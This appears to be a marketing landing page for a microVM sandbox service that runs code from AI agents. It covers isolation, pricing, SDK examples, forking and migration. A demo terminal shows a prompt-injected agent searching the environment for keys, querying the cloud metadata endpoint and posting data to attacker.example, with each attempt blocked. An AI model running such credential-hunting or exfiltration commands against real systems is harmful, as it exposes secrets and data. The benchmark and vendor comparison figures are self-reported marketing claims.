Secure. Fast. Innovative. sandboxes for untrusted code

Run the code your AI agents write on isolated machines that start in 34 ms. That code never sees your API keys and cannot reach your network.

Start free Read the docs
sandbox › create  ● runningfork(4)  ● 4 branchespause()  ● storage only
Fewer tokens. Smaller bills.
keys added outside sandboxes · agent's code microVM · own kernel jailer · seccomp · cgroups any KVM host · ours or yours

What you can run in a sandbox

What is true today

jailer seccomp cgroups own uid

Every VM behind a jail

Own root, own user, a syscall filter and limits for each microVM.

Read the isolation tests
guest 0 keys key added here no key+ key

0 secrets in the guest

The proxy adds keys on the way out. None are stored inside.

How we test this
p50 34 ms 4,098 ok p95 72 ms p99 97.5 ms 050100 ms

34 ms to a running sandbox

Median of 4,098 creates on our lab hosts. None failed.

See the soak report
svm cloud aws gcp azure metal

Your cloud or ours

Any Linux host with KVM. Billed per second.

Self-hosting guide

Start in three steps

  1. [FREE CREDIT] free credit · no card
  2. 2

    Copy your API key

    export SVM_API_KEY=••••••••
  3. 3

    Run the quickstart

    Pick your language below.
  4. Start free

One API, five SDKs.

One method surface, so the quickstart reads the same in each language.

one API Python TypeScript Go Java Ruby

5languages

1method surface

31helpers in every SDK

See the conformance suite
agent.py copy
from svm.sandbox import Sandbox

sandbox = Sandbox.create(template="base")
result = sandbox.commands.run("uname -a")
print(result.stdout)
sandbox.kill()
$ python agent.py sandbox running Same methods in all five SDKs. Set SVM_API_KEY and run.

Pay per second.

Billed for what a sandbox uses, by the second. Stop paying the moment you stop it.

SVM credit [FREE CREDIT] free credit to start no card needed

Three ways to stop paying

Pausestorage only Auto-stopon a timer you set Kill$0 from then on
Open the cost calculator

one sandbox, start to finish

running paused running killed CPU + memory + disk storage only billed every tick is one second $0 after kill what you have paid

vCPU

[RATE]

per vCPU-second

running only

Memory

[RATE]

per GiB-second

running only

Disk

[RATE]

per GiB-second

running or paused

A hijacked agent finds nothing to steal.

Assume the agent will be prompt-injected. The sandbox holds no keys and cannot reach your network.

hijacked agent jailed VM cloud metadata internal network the host attacker.example api.github.com 200 · key added
Private networks blocked by default Egress rules on path, method and header
agent@sandboxinside a sandbox, as the agent
$ env | grep -i key
(no output: no keys in the environment)

$ curl http://169.254.169.254/latest/meta-data/
blocked: cloud metadata is not reachable

$ curl https://attacker.example/upload -d @data
blocked: domain is not on the allow list

$ curl https://api.github.com/user
200 OK  (token added outside the sandbox)

$ 

Built for what agents do next.

running fork memory +processes

Branch a running sandbox

Fork memory and processes. Run every branch.

branches = sandbox.fork(4)
page├ heading├ text├ textbox└ buttona11y tree

Desktop and browser

Computer use, or pages read as text instead of screenshots.

PreviewWindows sandboxes. Join the waitlist

verifier scoreonly on SVMkeptkeptkilledkilledkilled

Score branches, keep the best

Rollouts fan out, verify each branch and stop the rest.

rollouts.create(sbx, 8, script="pytest",
                keep=keep_top_k(2))
In [1] Out [1]

Code interpreter

Run a cell, keep its state for the next one, and get results and charts back.

PythonJavaScriptTypeScriptRJavaBash

from svm.code_interpreter import Sandbox

sbx = Sandbox.create()
run = sbx.run_code(open("plot.py").read())
png = run.results[0].png  # the chart, base64

Also only on SVM

build server tests $ npm run build✓ built$ rejoin

Agent terminals

Long jobs keep running while the agent works elsewhere.

SWE-bench Terminal-Bench one command passfailone cell per task

Eval runner

Score your agent on public benchmarks without setup.

$ pytest read-onlyworkspace-onlyoffline pick a profile per command

In-guest process profiles

Lock down one risky command, not the whole sandbox.

ledger POST /chargesgit pushsend email firstrunsthen

Effects ledger

Review what an agent did outside the sandbox, in order.

How SVM compares.

Agents read less, repeat less and pay only while they work.

cat + grep147,936 tokensSVM tools5,032 tokens

Token-cheap agent toolsonly on SVM

97% fewer tokens

Mapping, reading and editing a 78-file repository. Our benchmark.

45% shared cachehitsno cacheshared52.0 s34.5 s

Tool-result cacheonly on SVM

34% less tool time

Four forks sharing one tool-result cache; 45% of calls were hits. Our benchmark.

CPU billedmemory only idleidleper second

Active-CPU billing

Idle pays memory only

Opt-in active-CPU plan. Idle seconds bill memory only.

24 features, four groups. SVM has all of them.

SVMAverage of the five leading vendors

5/5

Fewer LLM tokens

Vendors average 12%

3 of 5 only on SVM
7/7

Lower running cost

Vendors average 40%

8/8

Built for agents

Vendors average 15%

4 of 8 only on SVM
4/4

Security

Vendors average 15%

2 of 4 only on SVM

Counted from the public documentation of the five leading sandbox vendors, checked [DATE]. Token and cache figures are from our benchmark on a sample repository. How we counted

Switch in minutes.

Already on another sandbox vendor? The svm-migrate codemod rewrites your imports and calls, and reports anything it could not convert.

  1. Run svm-migrate

    Imports, calls and settings are rewritten in place.

  2. Read the report

    Anything it could not convert is listed in report.md.

  3. Run your tests on SVM

    Same tests, now running in a jailed microVM.

Read the migration guides
other SDK SVM SDK svm-migrate report.md ✓ rewritten ! review your code ready for SVM
$ svm-migrate [YOUR SOURCE FOLDER]agent.py
−from other_vendor import Sandbox
+from svm.sandbox import Sandbox
−sbx = Sandbox()
+sbx = Sandbox.create()
−sbx.run("pytest")
+sbx.commands.run("pytest")
✓ 3 lines rewritten0 to review

Run your first sandbox today.

Create a sandbox from the SDK you already use.

Not writing the code yourself? Talk to us